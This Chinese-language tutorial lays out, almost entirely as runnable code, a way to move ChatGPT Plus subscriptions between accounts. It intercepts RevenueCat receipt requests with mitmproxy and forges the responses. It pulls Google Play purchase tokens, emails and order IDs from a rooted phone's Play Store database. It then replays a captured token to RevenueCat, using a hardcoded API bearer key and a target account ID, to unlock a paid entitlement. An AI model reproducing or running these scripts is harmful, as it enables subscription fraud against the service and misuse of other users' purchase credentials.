GPT Plus 订阅转移全解析 - 从 Google Play Token 到一键开通的完整技术链路

{
 "fetch_token": "",
 "app_user_id": "",
 "product_ids": ["oai.chatgpt.plus"]
}

# mitm_intercept.py — 自动拦截并保存 token
import json, time
from mitmproxy import http

TOKEN_FILE = "tokens.jsonl"

class RevenueCatInterceptor:
 def request(self, flow: http.HTTPFlow):
 if (flow.request.pretty_url.endswith("/v1/receipts")
 and flow.request.method == "POST"):
 try:
 body = json.loads(flow.request.get_text())
 fetch_token = body.get("fetch_token", "")
 if fetch_token:
 record = {
 "fetch_token": fetch_token,
 "original_user_id": body.get("app_user_id", ""),
 "captured_at": time.strftime("%Y-%m-%dT%H:%M:%SZ"),
 "used": False
 }
 with open(TOKEN_FILE, "a") as f:
 f.write(json.dumps(record) + "\n")
 print(f"[+] Token captured: {fetch_token[:40]}...")

 # 返回伪造响应，阻断真实请求
 flow.response = http.Response.make(
 200,
 json.dumps({"subscriber": {"entitlements": {}}}),
 {"Content-Type": "application/json"}
 )
 except Exception as e:
 print(f"[-] Parse error: {e}")

addons = [RevenueCatInterceptor()]
# 启动: mitmproxy -s mitm_intercept.py -p 8888

"""
read_purchase_token.py
通过 ADB 从 Google Play library.db 读取 ChatGPT 购买 Token
"""
import os, json, time, sqlite3, tempfile, subprocess

OUTPUT_FILE = "purchases.txt"
DB_SRC = "/data/data/com.android.vending/databases/library.db"
DB_SDCARD = "/sdcard/.tmp_read_token.db"
DEVICE_SERIAL = "" # 留空自动选第一台设备

def adb(*args, timeout=15):
 cmd = ["adb"]
 if DEVICE_SERIAL:
 cmd += ["-s", DEVICE_SERIAL]
 cmd += list(args)
 try:
 r = subprocess.run(cmd, capture_output=True, text=True, timeout=timeout)
 return r.returncode, (r.stdout + r.stderr).strip()
 except FileNotFoundError:
 return -1, "adb not found"

def read_token():
 tmp_path = None
 try:
 # Step 1: 用 root 权限把数据库复制到 sdcard
 code, out = adb("shell",
 f"su -c 'cp {DB_SRC} {DB_SDCARD} && chmod 644 {DB_SDCARD} && echo DONE'")
 if code != 0 or "DONE" not in out:
 print("复制失败，请确认设备已 Root")
 return

 # Step 2: pull 到本地
 _, tmp_path = tempfile.mkstemp(suffix=".db")
 adb("pull", DB_SDCARD, tmp_path)

 # Step 3: SQLite 查询
 conn = sqlite3.connect(tmp_path)
 cur = conn.cursor()

 # 自动识别表结构
 cur.execute("PRAGMA table_info(ownership)")
 cols = [r[1] for r in cur.fetchall()]

 # 找 JSON 数据列
 json_candidates = ["inapp_purchase_data", "purchase_data", "value", "data"]
 json_col = next((c for c in json_candidates if c in cols), None)
 doc_col = "doc_id" if "doc_id" in cols else cols[3]

 # 查 ChatGPT 相关购买记录
 sql = f"""
 SELECT account, {doc_col}, {json_col}
 FROM ownership
 WHERE ({doc_col} LIKE '%openai%' OR {doc_col} LIKE '%chatgpt%')
 AND {json_col} IS NOT NULL
 ORDER BY rowid DESC
 """
 rows = cur.execute(sql).fetchall()
 conn.close()

 # Step 4: 解析并保存 token
 saved = set()
 for row in rows:
 email = str(row[0]) if row[0] else "unknown"
 raw_json = str(row[2]) if row[2] else ""
 if "purchaseToken" not in raw_json:
 continue
 data = json.loads(raw_json)
 token = data.get("purchaseToken", "")
 order = data.get("orderId", "")
 if not token or token in saved:
 continue
 saved.add(token)

 entry = f"{time.strftime('%Y-%m-%d %H:%M:%S')} | {email} | {order} | {token}\n"
 with open(OUTPUT_FILE, "a") as f:
 f.write(entry)
 print(f"邮箱: {email}")
 print(f"Order: {order}")
 print(f"Token: {token[:60]}...")
 print(f"已保存 -> {OUTPUT_FILE}")

 print(f"共保存 {len(saved)} 条")
 finally:
 if tmp_path:
 os.unlink(tmp_path)
 adb("shell", f"rm -f {DB_SDCARD}")

if __name__ == "__main__":
 read_token()

{
 "orderId": "GPA.3305-3747-1234-56789",
 "packageName": "com.openai.chatgpt",
 "productId": "oai.chatgpt.plus",
 "purchaseTime": 1720000000000,
 "purchaseState": 0,
 "purchaseToken": "iekllednimgnlmo...（很长一串）",
 "quantity": 1,
 "acknowledged": false,
 "autoRenewing": true
}

{
 "account_id": "f211fe99-83d9-4c48-b016-ee08984a592a",
 "email": "target@example.com",
 ...
}

import requests
import json

url = "https://api.revenuecat.com/v1/receipts"

headers = {
 "User-Agent": "Dalvik/2.1.0 (Linux; U; Android 16; Pixel 9 Build/BP4A.260205.001)",
 "Content-Type": "application/json",
 "X-Platform": "android",
 "X-Platform-Flavor": "native",
 "X-Platform-Version": "36",
 "X-Version": "9.22.1",
 "X-Client-Bundle-ID": "com.openai.chatgpt",
 "X-Observer-Mode-Enabled": "false",
 "X-Custom-Entitlements-Computation": "true",
 "X-Storefront": "US",
 "Authorization": "Bearer goog_DPguJtknNxbQBStStwhWGRsghUw",
 "X-RevenueCat-ETag": ""
}

data = {
 "fetch_token": "<你拿到的 purchase token>",
 "product_ids": ["oai.chatgpt.plus"],
 "platform_product_ids": [{"product_id": "oai.chatgpt.plus"}],
 "app_user_id": "<目标账号的 account_id>",
 "is_restore": True,
 "observer_mode": False,
 "purchase_completed_by": "revenuecat",
 "initiation_source": "unsynced_active_purchases",
 "sdk_originated": False,
 "payload_version": 1
}

response = requests.post(url, headers=headers, data=json.dumps(data, separators=(',', ':')))

if response.status_code == 200:
 result = response.json()
 subscriber = result.get("subscriber", {})
 entitlements = subscriber.get("entitlements", {})
 subscriptions = subscriber.get("subscriptions", {})

 if "chatgpt_plus" in entitlements:
 ent = entitlements["chatgpt_plus"]
 print("=" * 50)
 print("充值成功！")
 print("=" * 50)
 print(f" 账号 ID : {subscriber.get('original_app_user_id')}")
 print(f" 到期时间 : {ent.get('expires_date')}")
 print(f" 产品标识 : {ent.get('product_identifier')}")

 for pid, sub in subscriptions.items():
 price = sub.get("price", {})
 print(f" 价格 : {price.get('amount', '?')} {price.get('currency', '')}")
 print(f" 订阅类型 : {sub.get('period_type')}")
 print(f" 是否沙盒 : {'是' if sub.get('is_sandbox') else '否'}")
 else:
 print("未找到 chatgpt_plus 权益，可能失败了")
 print(json.dumps(result, indent=2, ensure_ascii=False))
else:
 print(f"请求失败: {response.status_code}")
 print(response.text)

"User-Agent": "Dalvik/2.1.0 (Linux; U; Android 16; Pixel 9 Build/...)"

"Authorization": "Bearer goog_DPguJtknNxbQBStStwhWGRsghUw"

"fetch_token": "" # 第三步拿到的购买凭证
"app_user_id": "" # 第四步拿到的目标账号 ID
"is_restore": True # 告诉 RC 这是"恢复购买"，不是新购买
"initiation_source": "unsynced_active_purchases" # 来源标记

{
 "subscriber": {
 "entitlements": {
 "chatgpt_plus": {
 "expires_date": "2026-08-17T07:13:32Z",
 "product_identifier": "oai.chatgpt.plus",
 "purchase_date": "2026-07-17T07:13:32Z"
 }
 },
 "subscriptions": {
 "oai.chatgpt.plus": {
 "period_type": "trial",
 "price": { "amount": 0.0, "currency": "JPY" },
 "store": "play_store",
 "expires_date": "2026-08-17T07:13:32Z"
 }
 },
 "management_url": "https://play.google.com/store/account/subscriptions?..."
 }
}